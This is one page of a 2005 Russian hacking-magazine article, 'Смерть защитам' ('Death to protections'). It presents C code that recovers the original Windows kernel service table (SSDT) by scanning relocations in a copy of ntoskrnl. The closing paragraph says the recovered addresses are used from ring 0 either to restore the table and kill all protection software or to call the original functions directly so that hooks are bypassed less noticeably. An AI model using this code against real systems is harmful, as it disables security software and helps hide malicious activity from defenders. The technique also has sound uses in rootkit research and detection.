Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #81, СЕНТЯБРЬ 2005 г.

Смерть защитам

Николай «gorl» Андреев

Хакер, номер #081, стр. 081-124-4


if (!(dwKSDT = (DWORD)GetProcAddress(hKernel,"KeServiceDescriptorTable")))

return FALSE;

dwKSDT -= (DWORD)hKernel;

if (!(dwKiServiceTable = FindKiServiceTable(hKernel,dwKSDT)))

return FALSE;

FindKiServiceTable – это офигенная функция, написанная кодером 90210, и запощенная на www.rootkit.com в его статье об антихукинге на уровне ядра. Эта функция возвращает смещение SDT относительно начала модуля ядра. Она ищет в ядре инструкцию формата mov [mem32],imm32. Если быть точным, инструкцию mov ds:_KeServiceDescriptorTable.Base, offset _KiServiceTable из функции KiInitSystem. Поиск ориентируется на смещение KeServiceDescriptorTable, полученное в результате проведенных выше манипуляций.

[функция FindKiServiceTable]

DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT)

{

PIMAGE_FILE_HEADER pfh;

PIMAGE_OPTIONAL_HEADER poh;

PIMAGE_SECTION_HEADER psh;

PIMAGE_BASE_RELOCATION pbr;

PIMAGE_FIXUP_ENTRY pfe;

DWORD dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable;

BOOL bFirstChunk;

GetHeaders((PCHAR)hModule,&pfh,&poh,&psh);

if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &&

(!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) {

pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule);

bFirstChunk=TRUE;

while (bFirstChunk || pbr->VirtualAddress) {

bFirstChunk=FALSE;

pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));

for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++)

{

if (pfe->type==IMAGE_REL_BASED_HIGHLOW)

{

dwFixups++;

dwPointerRva=pbr->VirtualAddress+pfe->offset;

dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh->ImageBase;

if (dwPointsToRva==dwKSDT)

{

if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7)

{

dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh->ImageBase;

return dwKiServiceTable;

}

}

}

}

*(PDWORD)&pbr+=pbr->SizeOfBlock;

}

}

return 0;

}

Получив смещение SDT, мы прибавляем его к базе нашей копии ядра – это и будет адрес оригинальной таблицы. На всякий случай копируем все содержимое SDT в собственный массив DWORD и радуемся – основное дело сделано, оригинал получен.

GetHeaders((PCHAR)hKernel,&pfh,&poh,&psh);

pService = (PDWORD)((DWORD)hKernel + dwKiServiceTable);

for (pService=(PDWORD)((DWORD)hKernel+dwKiServiceTable);

*pService-poh->ImageBase<poh->SizeOfImage;

pService++,dwServices++)

TABLE[dwServices] = *pService - poh->ImageBase+dwKernelBase;

NEWTABLE = (DWORD)(dwKernelBase + dwKSDT);

Теперь, перейдя в kernel mode можно либо восстановить SDT, просто заменяя все адреса в текущей таблице на адреса, полученные только что, чтобы убить все защиты, либо использовать эти самые адреса напрямую, чтобы обойти перехват. В плане обхода NtWriteVirtualmemory восстановить проще, использовать адреса напрямую менее палевно. Напрямую - значит запускать функцию по полученному адресу прямиком из ring0.

Назад на стр. 081-124-3  Содержание  Вперед на стр. 081-124-5